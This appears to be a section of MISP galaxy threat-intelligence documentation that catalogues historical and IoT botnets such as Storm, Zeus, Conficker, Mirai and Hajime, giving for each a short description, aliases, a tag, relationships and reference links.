- Mitglieder
- Lodeight

View relationships graph

Bagle has relationships with:

- similar: misp-galaxy:malpedia="Bagle" with estimative-language:likelihood-probability="likely"

Table 632. Table References

Links
https://en.wikipedia.org/wiki/Bagle_(computer_worm)

Marina Botnet

Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.

The tag is: *misp-galaxy:botnet="Marina Botnet"*

Marina Botnet is also known as:

- Damon Briant
- BOB.dc
- Cotmonger
- Hacktool.Spammer
- Kraken

View relationships graph

Marina Botnet has relationships with:

- similar: misp-galaxy:botnet="Kraken" with estimative-language:likelihood-probability="likely"

Table 633. Table References

Links
https://en.wikipedia.org/wiki/Botnet

Torpig

Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.

The tag is: *misp-galaxy:botnet="Torpig"*

Torpig is also known as:

- Sinowal
- Anserin

View relationships graph

Torpig has relationships with:

- similar: misp-galaxy:malpedia="Sinowal" with estimative-language:likelihood-probability="likely"

Table 634. Table References

Links
https://en.wikipedia.org/wiki/Torpig

Storm

The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.

The tag is: *misp-galaxy:botnet="Storm"*

Storm is also known as:

- Nuwar
- Peacomm
- Zhelatin
- Dorf
- Ecard

Table 635. Table References

Links
https://en.wikipedia.org/wiki/Storm_botnet

Rustock

The tag is: *misp-galaxy:botnet="Rustock"*

Rustock is also known as:

- RKRustok
- Costrat

View relationships graph

Rustock has relationships with:

- similar: misp-galaxy:malpedia="Rustock" with estimative-language:likelihood-probability="likely"

Table 636. Table References

Links
https://en.wikipedia.org/wiki/Rustock_botnet

Donbot

The tag is: *misp-galaxy:botnet="Donbot"*

Donbot is also known as:

- Buzus
- Bachsoy

View relationships graph

Donbot has relationships with:

* similar: misp-galaxy:malpedia="Buzus" with estimative-language:likelihood-probability="likely"

Table 637. Table References

Links
https://en.wikipedia.org/wiki/Donbot_botnet

Cutwail

The Cutwail botnet, founded around 2007, is a botnet mostly involved in sending spam e-mails. The bot is typically installed on infected machines by a Trojan component called Pushdo.] It affects computers running Microsoft Windows. related to: Wigon, Pushdo

The tag is: *misp-galaxy:botnet="Cutwail"*

Cutwail is also known as:

* Pandex
* Mutant

View relationships graph

Cutwail has relationships with:

* similar: misp-galaxy:malpedia="Cutwail" with estimative-language:likelihood-probability="likely"

Table 638. Table References

Links
https://en.wikipedia.org/wiki/Cutwail_botnet

Akbot

Akbot was a computer virus that infected an estimated 1.3 million computers and added them to a botnet.

The tag is: *misp-galaxy:botnet="Akbot"*

View relationships graph

Akbot has relationships with:

* similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"

Table 639. Table References

Links
https://en.wikipedia.org/wiki/Akbot

Srizbi

Srizbi BotNet, considered one of the world's largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.

The tag is: *misp-galaxy:botnet="Srizbi"*

Srizbi is also known as:

- Cbeplay
- Exchanger

Table 640. Table References

Links
https://en.wikipedia.org/wiki/Srizbi_botnet

Lethic

The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 - 310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.

The tag is: *misp-galaxy:botnet="Lethic"*

View relationships graph

Lethic has relationships with:

- similar: misp-galaxy:malpedia="Lethic" with estimative-language:likelihood-probability="likely"

Table 641. Table References

Links
https://en.wikipedia.org/wiki/Lethic_botnet

Xarvester

The tag is: *misp-galaxy:botnet="Xarvester"*

Xarvester is also known as:

- Rlsloup
- Pixoliz

Table 642. Table References

Links
https://krebsonsecurity.com/tag/xarvester/

Sality

Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.

The tag is: *misp-galaxy:botnet="Sality"*

Sality is also known as:

- Sector
- Kuku
- Sality
- SalLoad
- Kookoo
- SaliCode
- Kukacka

View relationships graph

Sality has relationships with:

- similar: misp-galaxy:malpedia="Sality" with estimative-language:likelihood-probability="likely"

Table 643. Table References

Links
https://en.wikipedia.org/wiki/Sality

Mariposa

The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the "Butterfly (mariposa in Spanish) Bot", making it one of the largest known botnets.

The tag is: *misp-galaxy:botnet="Mariposa"*

Table 644. Table References

Links
https://en.wikipedia.org/wiki/Mariposa_botnet

Conficker

Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.

The tag is: *misp-galaxy:botnet="Conficker"*

Conficker is also known as:

- DownUp
- DownAndUp
- DownAdUp
- Kido

View relationships graph

Conficker has relationships with:

- similar: misp-galaxy:malpedia="Conficker" with estimative-language:likelihood-probability="likely"

Table 645. Table References

Links
https://en.wikipedia.org/wiki/Conficker

Waledac

Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.

The tag is: *misp-galaxy:botnet="Waledac"*

Waledac is also known as:

- Waled
- Waledpak

Table 646. Table References

Links
https://en.wikipedia.org/wiki/Waledac_botnet

Maazben

A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.

The tag is: *misp-galaxy:botnet="Maazben"*

Table 647. Table References

Links
https://www.symantec.com/connect/blogs/evaluating-botnet-capacity

Onewordsub

The tag is: *misp-galaxy:botnet="Onewordsub"*

Table 648. Table References

Links
https://www.botnets.fr/wiki/OneWordSub

Gheg

Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).

The tag is: *misp-galaxy:botnet="Gheg"*

Gheg is also known as:

- Tofsee
- Mondera

View relationships graph

Gheg has relationships with:

- similar: misp-galaxy:malpedia="Tofsee" with estimative-language:likelihood-probability="likely"

Table 649. Table References

Links
https://www.cert.pl/en/news/single/tofsee-en/

Nucrypt

The tag is: *misp-galaxy:botnet="Nucrypt"*

Table 650. Table References

Links
https://www.botnets.fr/wiki.old/index.php?title=Nucrypt&setlang=en

Wopla

The tag is: *misp-galaxy:botnet="Wopla"*

Table 651. Table References

Links
https://www.botnets.fr/wiki.old/index.php/Wopla

Asprox

The Asprox botnet (discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL injections into websites in order to spread malware.

The tag is: *misp-galaxy:botnet="Asprox"*

Asprox is also known as:

- Badsrc
- Aseljo
- Danmec
- Hydraflux

View relationships graph

Asprox has relationships with:

- similar: misp-galaxy:malpedia="Asprox" with estimative-language:likelihood-probability="likely"

Table 652. Table References

Links
https://en.wikipedia.org/wiki/Asprox_botnet

Spamthru

Spam Thru represented an expontential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj_Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine's processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.

The tag is: *misp-galaxy:botnet="Spamthru"*

Spamthru is also known as:

- Spam-DComServ
- Covesmer
- Xmiler

Table 653. Table References

Links
http://www.root777.com/security/analysis-of-spam-thru-botnet/

Gumblar

Gumblar is a malicious JavaScript trojan horse file that redirects a user's Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.

The tag is: *misp-galaxy:botnet="Gumblar"*

Table 654. Table References

Links
https://en.wikipedia.org/wiki/Gumblar

BredoLab

The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.

The tag is: *misp-galaxy:botnet="BredoLab"*

BredoLab is also known as:

- Oficla

View relationships graph

BredoLab has relationships with:

- similar: misp-galaxy:tool="Oficla" with estimative-language:likelihood-probability="likely"

Table 655. Table References

Links
https://en.wikipedia.org/wiki/Bredolab_botnet

Grum

The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world's largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world's 3rd largest botnet, responsible for 18% of worldwide spam traffic.

The tag is: *misp-galaxy:botnet="Grum"*

Grum is also known as:

- Tedroo
- Reddyb

Table 656. Table References

Links
https://en.wikipedia.org/wiki/Grum_botnet

Mega-D

The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.

The tag is: *misp-galaxy:botnet="Mega-D"*

Mega-D is also known as:

- Ozdok

Table 657. Table References

Links
https://en.wikipedia.org/wiki/Mega-D_botnet

Kraken

The Kraken botnet was the world's largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.

The tag is: *misp-galaxy:botnet="Kraken"*

Kraken is also known as:

- Kracken

View relationships graph

Kraken has relationships with:

- similar: misp-galaxy:botnet="Marina Botnet" with estimative-language:likelihood-probability="likely"

Table 658. Table References

Links
https://en.wikipedia.org/wiki/Kraken_botnet

Festi

The Festi botnet, also known by its alias of Spamnost, is a botnet mostly involved in email spam and denial of service attacks.

The tag is: *misp-galaxy:botnet="Festi"*

Festi is also known as:

- Spamnost

Table 659. Table References

Links
https://en.wikipedia.org/wiki/Festi_botnet

Vulcanbot

Vulcanbot is the name of a botnet predominantly spread in Vietnam, apparently with political motives. It is thought to have begun in late 2009.

The tag is: *misp-galaxy:botnet="Vulcanbot"*

Table 660. Table References

Links
https://en.wikipedia.org/wiki/Vulcanbot

LowSec

The tag is: *misp-galaxy:botnet="LowSec"*

LowSec is also known as:

- LowSecurity
- FreeMoney
- Ring0.Tools

TDL4

Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system's network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015,triggered these crashes by breaking assumptions made by the malware author(s).

The tag is: *misp-galaxy:botnet="TDL4"*

TDL4 is also known as:

- TDSS
- Alureon

View relationships graph

TDL4 has relationships with:

- similar: misp-galaxy:malpedia="Alureon" with estimative-language:likelihood-probability="likely"

Table 661. Table References

Links
https://en.wikipedia.org/wiki/Alureon#TDL-4

Zeus

Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.

The tag is: *misp-galaxy:botnet="Zeus"*

Zeus is also known as:

- Zbot
- ZeuS
- PRG
- Wsnpoem
- Gorhax
- Kneber

View relationships graph

Zeus has relationships with:

- similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 662. Table References

Links
https://en.wikipedia.org/wiki/Zeus_(malware)

Kelihos

The Kelihos botnet, also known as Hlux, is a botnet mainly involved in spamming and the theft of bitcoins.

The tag is: *misp-galaxy:botnet="Kelihos"*

Kelihos is also known as:

- Hlux

View relationships graph

Kelihos has relationships with:

- similar: misp-galaxy:malpedia="Kelihos" with estimative-language:likelihood-probability="likely"

Table 663. Table References

Links
https://en.wikipedia.org/wiki/Kelihos_botnet

Ramnit

Ramnit is a Computer worm affecting Windows users. It was estimated that it infected 800 000 Windows PCs between September and December 2011. The Ramnit botnet was dismantled by Europol and Symantec securities in 2015. In 2015, this infection was estimated at 3 200 000 PCs.

The tag is: *misp-galaxy:botnet="Ramnit"*

View relationships graph

Ramnit has relationships with:

- similar: misp-galaxy:banker="Ramnit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"

Table 664. Table References

Links
https://en.wikipedia.org/wiki/Botnet

Zer0n3t

The tag is: *misp-galaxy:botnet="Zer0n3t"*

Zer0n3t is also known as:

- Fib3rl0g1c
- Zer0n3t
- Zer0Log1x

Chameleon

The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).

The tag is: *misp-galaxy:botnet="Chameleon"*

Table 665. Table References

Links
https://en.wikipedia.org/wiki/Chameleon_botnet

Mirai

Mirai (Japanese for "the future", □□) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.

The tag is: *misp-galaxy:botnet="Mirai"*

View relationships graph

Mirai has relationships with:

- similar: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Mirai (ELF)" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 666. Table References

Links
https://en.wikipedia.org/wiki/Mirai_(malware)
https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
https://www.bleepingcomputer.com/news/security/mirai-iot-malware-uses-aboriginal-linux-to-target-multiple-platforms/
https://www.bleepingcomputer.com/news/security/new-mirai-variant-comes-with-27-exploits-targets-enterprise-devices/

XorDDoS

XOR DDOS is a Linux trojan used to perform large-scale DDoS

The tag is: *misp-galaxy:botnet="XorDDoS"*

Table 667. Table References

Links
https://en.wikipedia.org/wiki/Xor_DDoS

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: *misp-galaxy:botnet="Satori"*

Satori is also known as:

- Okiru

View relationships graph

Satori has relationships with:

- similar: misp-galaxy:tool="Satori" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"

Table 668. Table References

Links
https://www.bleepingcomputer.com/news/security/satori-botnet-has-sudden-awakening-with-over-280-000-active-bots/
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant

BetaBot

The tag is: *misp-galaxy:botnet="BetaBot"*

View relationships graph

BetaBot has relationships with:

- similar: misp-galaxy:malpedia="BetaBot" with estimative-language:likelihood-probability="likely"

Hajime

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existance was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).

The tag is: *misp-galaxy:botnet="Hajime"*

View relationships graph

Hajime has relationships with:

- similar: misp-galaxy:malpedia="Hajime" with estimative-language:likelihood-probability="likely"

Table 669. Table References

Links
https://www.bleepingcomputer.com/news/security/hajime-botnet-makes-a-comeback-with-massive-scan-for-mikrotik-routers/
https://en.wikipedia.org/wiki/Hajime_(malware)
https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/

Muhstik

The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.

The tag is: *misp-galaxy:botnet="Muhstik"*

Table 670. Table References

Links
https://www.bleepingcomputer.com/news/security/big-iot-botnet-starts-large-scale-exploitation-of-drupalgeddon-2-vulnerability/

Hide and Seek

Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device’s flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By placing itself in this menu, the device’s OS will automatically start the malware’s process after the next reboot.

The tag is: *misp-galaxy:botnet="Hide and Seek"*

Hide and Seek is also known as:

- HNS
- Hide 'N Seek

View relationships graph

Hide and Seek has relationships with:

- similar: misp-galaxy:malpedia="Hide and Seek" with estimative-language:likelihood-probability="likely"

Table 671. Table References

Links
https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/
https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/
https://www.bleepingcomputer.com/news/security/hide-and-seek-botnet-adds-infection-vector-for-android-devices/

Mettle

Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.

The tag is: *misp-galaxy:botnet="Mettle"*

Table 672. Table References

Links
https://thehackernews.com/2018/05/botnet-malware-hacking.html

Owari

IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot. Author is called

WICKED

The tag is: *misp-galaxy:botnet="Owari"*

View relationships graph

Owari has relationships with:

- similar: misp-galaxy:malpedia="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 673. Table References

Links
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html

Brain Food

Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.

The tag is: *misp-galaxy:botnet="Brain Food"*

Table 674. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/brain-food-botnet-gives-website-operators-heartburn

Pontoeb

The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding

The tag is: *misp-galaxy:botnet="Pontoeb"*

Pontoeb is also known as:

- N0ise

Table 675. Table References

Links

https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:MSIL/Pontoeb.J
http://dataprotectioncenter.com/general/are-you-beta-testing-malware/

Trik Spam Botnet

The tag is: *misp-galaxy:botnet="Trik Spam Botnet"*

Trik Spam Botnet is also known as:

- Trik Trojan

Table 676. Table References

Links
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/

Madmax

The tag is: *misp-galaxy:botnet="Madmax"*

Madmax is also known as:

- Mad Max

View relationships graph

Madmax has relationships with:

- similar: misp-galaxy:tool="Mad Max" with estimative-language:likelihood-probability="likely"

Table 677. Table References

Links
https://news.softpedia.com/news/researchers-crack-mad-max-botnet-algorithm-and-see-in-the-future-506696.shtml

Pushdo

The tag is: *misp-galaxy:botnet="Pushdo"*

View relationships graph

Pushdo has relationships with:

- similar: misp-galaxy:malpedia="Pushdo" with estimative-language:likelihood-probability="likely"

Table 678. Table References

Links
https://labs.bitdefender.com/2013/12/in-depth-analysis-of-pushdo-botnet/

Simda

The tag is: *misp-galaxy:botnet="Simda"*

View relationships graph

Simda has relationships with:

- similar: misp-galaxy:malpedia="Simda" with estimative-language:likelihood-probability="likely"

Table 679. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA15-105A

Virut

The tag is: *misp-galaxy:botnet="Virut"*

View relationships graph

Virut has relationships with:

- similar: misp-galaxy:malpedia="Virut" with estimative-language:likelihood-probability="likely"

Table 680. Table References

Links
https://en.wikipedia.org/wiki/Virut

Beebone

The tag is: *misp-galaxy:botnet="Beebone"*

Table 681. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions

Bamital

The tag is: *misp-galaxy:botnet="Bamital"*

Bamital is also known as:

- Mdrop-CSK
- Agent-OCF

Table 682. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32%2FBamital
https://www.symantec.com/security-center/writeup/2010-070108-5941-99

Gafgyt

Linux.Gafgyt is a Trojan horse that opens a back door on the compromised computer and steals information. The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall's Global Management System (GMS).

The tag is: *misp-galaxy:botnet="Gafgyt"*

Gafgyt is also known as:

- Bashlite

View relationships graph

Gafgyt has relationships with:

- similar: misp-galaxy:tool="Gafgyt" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"

Table 683. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
https://www.symantec.com/security-center/writeup/2014-100222-5658-99

Sora

Big changes on the IoT malware scene. Security researchers have spotted a version of the Mirai IoT malware that can run on a vast range of architectures, and even on Android devices. This Mirai malware strain is called Sora, a strain that was first spotted at the start of the year.Initial versions were nothing out of the ordinary, and Sora's original author soon moved on to developing the Mirai Owari version, shortly after Sora's creation.

The tag is: *misp-galaxy:botnet="Sora"*

Sora is also known as:

- Mirai Sora

View relationships graph

Sora has relationships with:

- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"

Table 684. Table References

Links
https://www.bleepingcomputer.com/news/security/mirai-iot-malware-uses-aboriginal-linux-to-target-multiple-platforms/

Torii

```
we have been observing a new malware strain, which we call Torii, that differs from
Mirai and other botnets we know of, particularly in the advanced techniques it uses.
The developers of the botnet seek wide coverage and for this purpose they created
binaries for multiple CPU architectures, tailoring the malware for stealth and
persistence.
```

The tag is: *misp-galaxy:botnet="Torii"*

View relationships graph

Torii has relationships with:

- similar: misp-galaxy:malpedia="Torii" with estimative-language:likelihood-probability="likely"

Table 685. Table References

Links
https://blog.avast.com/new-torii-botnet-threat-research
https://www.bleepingcomputer.com/news/security/new-iot-botnet-torii-uses-six-methods-for-persistence-has-no-clear-purpose/

Persirai

A new Internet of Things (IoT) botnet called Persirai (Detected by Trend Micro as ELF_PERSIRAI.A) has been discovered targeting over 1,000 Internet Protocol (IP) Camera models based on various Original Equipment Manufacturer (OEM) products. This development comes on the heels of Mirai—an open-source backdoor malware that caused some of the most notable incidents of 2016 via Distributed Denial-of-Service (DDoS) attacks that compromised IoT devices such as Digital Video Recorders (DVRs) and CCTV cameras—as well as the Hajime botnet.

The tag is: *misp-galaxy:botnet="Persirai"*

View relationships graph

Persirai has relationships with:

- similar: misp-galaxy:malpedia="Persirai" with estimative-language:likelihood-probability="likely"

Table 686. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

Chalubo

Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we're calling Chalubo. The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher. This adoption of anti-analysis techniques demonstrates an evolution in Linux malware, as the authors have adopted principles more common to Windows malware in an effort to thwart detection. Like some of its predecessors, Chalubo incorporates code from the Xor.DDoS and Mirai malware families.

The tag is: *misp-galaxy:botnet="Chalubo"*

Table 687. Table References

Links
https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/

AESDDoS

Our honeypot sensors recently detected an AESDDoS botnet malware variant (detected by Trend Micro as Backdoor.Linux.AESDDOS.J) exploiting a server-side template injection vulnerability (CVE-2019-3396) in the Widget Connector macro in Atlassian Confluence Server, a collaboration software program used by DevOps professionals.

The tag is: *misp-galaxy:botnet="AESDDoS"*

Table 688. Table References

Links

https://blog.trendmicro.com/trendlabs-security-intelligence/aesddos-botnet-malware-exploits-cve-2019-3396-to-perform-remote-code-execution-ddos-attacks-and-cryptocurrency-mining/

Arceus

A set of DDoS botnet.

The tag is: *misp-galaxy:botnet="Arceus"*

Arceus is also known as:

- Katura
- MyraV
- myra

Mozi

Mozi infects new devices through weak telnet passwords and exploitation.

The tag is: *misp-galaxy:botnet="Mozi"*

Table 689. Table References

Links
https://blog.netlab.360.com/mozi-another-botnet-using-dht/
https://threatpost.com/mozi-botnet-majority-iot-traffic/159337/
https://securityintelligence.com/posts/botnet-attack-mozi-mozied-into-town/

UPAS-Kit

UPAS-Kit was advertised by auroras a/k/a vinny in middle of june 2012 via exploit.in. Upas is the predecessor of Kronos. Marcus Hutchins helped create and, in partnership with another, sell malicious computer code, a/k/a malware, known as UPAS-Kit.

The tag is: *misp-galaxy:botnet="UPAS-Kit"*

UPAS-Kit is also known as:

- Rombrast

Table 690. Table References

Links
https://research.checkpoint.com/2018/deep-dive-upas-kit-vs-kronos/
https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html
https://web.archive.org/web/20130120062602/http://onthar.in/articles/upas-kit-analysis/

https://regmedia.co.uk/2019/04/19/plea.pdf

Phorpiex

